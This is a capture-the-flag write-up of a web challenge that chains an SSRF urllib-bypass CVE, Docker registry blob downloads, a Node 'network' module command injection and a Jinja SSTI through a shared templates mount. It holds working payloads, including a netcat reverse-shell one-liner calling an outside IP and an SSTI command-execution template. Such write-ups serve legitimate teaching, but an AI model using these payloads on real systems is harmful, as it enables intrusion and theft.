Tags: ssrf web rce 

Rating:

**tl;dr**

+ Fuzzing to find the ``/internal`` endpoint
+ Chaining CVE-2023–24329 and the SSRF in the ``/okay`` endpoint to access the internal docker registry host.
+ Downloading image blobs using the docker registry API.
+ Using CVE-2024-21488 to get RCE on the ``vec`` service.
+ As the templates directory of the ``core`` service is cross-mounted, we can modify the index.html file from vec service to get RCE on the core service.
+ Hence we can read the flag from the core service.

**Challenge Points**: 964
**No. of solves**: 9
**Challenge Author**: Winters

## Challenge Description

Is this really ok......

## Initial Analysis

**Challenge doesn't require players to guess any part of the challenge everything was there where it was required**

We are given an instancer url, on visiting the instancer we can make a new instance for a particular team, now after a basic authentication process we can access the actual challenge.

We'll see a webpage with a field to enter a url, and a request is being made to ``http://host:port/native`` which returns the gateway address of the server, This will prove to ba critical bug later on.

### Fuzzing

On the challenge page, you can basically give a url and the service will send a request to that endpoint, which hints towards an obvious SSRF, But how can we elevate this to get something useful, we need to find some internal endpoints. So fuzzing the challenge url would reveal the ``/internal`` endpoint, which lists all services running on the server. One of those service which is not exposed to the outside world is the ``http://registry:5000`` service. Now we can try using the SSRF to access the internal docker registry host.
If we give the url as ``http://registry:5000`` we'll get the response ``Not Okay, blocked host``. This means that the server has implemented some checks to prevent the users from accessing the registry.

### CVE-2023–24329

On giving a url like ``http://example.co`` or a malformed url we can see that a urllib error is spit out, so the backend is using urllib, Now one inspecting the response headers we can see that the python version is ``Python/3.11.3`` Now on doing a google search including urllib and python 3.11.3 we can see that there is a CVE-2023-24329 which is a urllib blocked hosts bypass using a whitespace character. So we can send the a request to `` http://registry:5000`` **Notice the whitespace character at the start**. Now we can directly talk to the internal registry API without any issues.

### The docker registry

On Sending a request to `` http://registry:5000/v2/_catalog`` we can see that there are two repositories which are there, namely ``Vec`` and ``Core`` which are the same services listed on the ``/internal`` endpoint. Now we can load in the manifest file for each of the repos and then individually download all the image blobs for each of the repos, One can easily use the docker registry API to do this, and it is well documented here [registry_api](https://distribution.github.io/distribution/spec/api/).

Here is an example script to download the blobs for the repos.

```python
# Script to download the blobs for the Vec repo
import requests

URL = 'http://34.18.13.217:52593/okay'

# Notice the whitespace at the beginning of the URL
INTERNAL_URL = ' http://registry:5000/v2/'

# Get the name of the image
def get_image_name():
r = requests.post(URL, data={'url': INTERNAL_URL+'_catalog'})
print(r.json())

# Get the manifest and get the blobs
def get_blobs():
r = requests.post(URL, data={'url': INTERNAL_URL+'vec/manifests/latest'})
# Parse it as json
parsed = r.json()
fsLayers = parsed['fsLayers']
count = 0
for i in fsLayers:
blob_sum = i['blobSum']
dowload_path = './blobs/'+str(count)+'.tar.gz'
r = requests.post(URL, data={'url': INTERNAL_URL+'vec/blobs/'+blob_sum})
print(r.text)
if(r.status_code == 200):
with open(dowload_path,'wb') as file:
file.write(r.content)
count += 1

get_blobs()
```

Now we have the source code for both of the services. But just grepping through the downloaded folders we can see that there are no flags in these repos. So where is the flag?

### Source Code Analysis, RCE on the VEC service

This is the source code for the Vec service

```javascript
const express = require("express");
const network = require("network");

var app = express();

app.get('/native',(req,res)=>{
network.gateway_ip_for("eth0", (err,out) => {
if(out){
res.setHeader('Content-Type', 'application/json');
res.setHeader('Access-Control-Allow-Origin', '*');
res.send(out);
}
else{
res.setHeader('Content-Type', 'application/json');
res.setHeader('Access-Control-Allow-Origin', '*');
res.send('10.113.123.22');
}
});
});

app.get('/custom',(req,res)=>{
let resp = req.query.interface
console.log(resp);
network.gateway_ip_for(resp,(err,out)=>{
res.setHeader('Content-Type', 'application/json');
res.setHeader('Access-Control-Allow-Origin', '*');
res.send(out);
});
});

app.listen(3000,()=>{
console.log("Vector listening on port 3000");
});
```
So remember when i told you the website is making a cross origin request to the ``/native`` endpoint which returns a gateway address, well that is handled by the ``Vec`` service and the source code for the service is as given above.

Interestingly we can see a different endpoint ``/custom`` which takes in a user parameter and passes it into a function called ``network.gateway_ip_for``, this function is defined in the network module that is being used, Now this particular module had an RCE vulnerability associated with it recently ``CVE-2024-21488``.

So how can we use this here, POC's out there for this CVE uses a different function call than ``gateway_ip_for``, so what can we do now?
Well we can look through the source code of the network module and see the definition of the ``gateway_ip_for`` function.

The source code for it is as follows

**Before Patch**

```javascript
exports.gateway_ip_for = function(nic_name, cb) {
trim_exec("ip r | grep " + nic_name + " | grep default | cut -d ' ' -f 3 | head -n1", cb);
};
```

**After patch by the vendor**

```javascript
function ensure_valid_nic(str) {
if (str.match(/[^\w]/))
throw new Error("Invalid nic name given: " + str);
}

exports.gateway_ip_for = function(nic_name, cb) {
ensure_valid_nic(nic_name);
trim_exec("ip r | grep " + nic_name + " | grep default | cut -d ' ' -f 3 | head -n1", cb);
};
```

As you can see there before the patch we had complete control over the ``nic_name`` parameter for the function ``gateway_ip_for``, and this is directly executed as shell command, Nice!. So basically we can get RCE on the ``Vec`` service by using the following payload

```bash
curl "http://host:port/custom/?interface=| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.113.21.179 5001 >/tmp/f #"
```

### Cross Mount RCE on the Core service

Now we have an RCE on the ``Vec`` service, which you can escalate to a reverse shell, but on searching the filesystem of the ``Vec`` service we can see that there is no flag, At this point the flag is not in the ``registry`` service, not in the ``Vec`` service so it has to be in the ``Core`` service so that means we have to somehow get file read on that service from the ``Vec`` service.

Interestinly we can see a templates folder in the ``Vec`` service which has the index.html for the ``Core`` service, which is just the html for the initial link that we visited where we could give links and it would make a request, that seems a little sus.

If we run the command ``lsblk`` on the ``Vec`` service we can see that indeed the templates directory is mounted from the host system.
So at this point a natural idea will be to modify the index.html file and hope that'll get reflected on the ``Core`` service as well.

Our theory can be verified by seeing the line in the source code for the ``Core`` service

```python
app.config['TEMPLATES_AUTO_RELOAD'] = True
```

So basically whenever a change is made to the templates directory it is automatically reloaded, and the change is immediately reflected on the website.

So finally putting all those findings together we can certify the following theory that the templates directory is mounted from the host to both the ``Vec`` and the ``Core`` service, and any changes made to the templates directory from the ``Vec`` service will be reflected on the ``Core`` service as well.

Now we can give any SSTI payload inside index.html on the ``Vec`` service and that change will be reflected on the ``Core`` service as well, essentially we now have RCE on the ``Core`` service.

The following SSTI payload can be used to read the flag

```html
<html>
<body>
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag/flag.txt').read() }}
</body>
</html>
```

After that just reload the challenge url and the flag should be there.

That was the entire challenge, I wanted the challenge to be a little inclined towards general system security, I learned a lot while making this challenge, and I hope you learned something while solving it as well.

Original writeup (https://blog.bi0s.in/2024/02/26/Misc/IsItOkay-bi0sCTF2024/).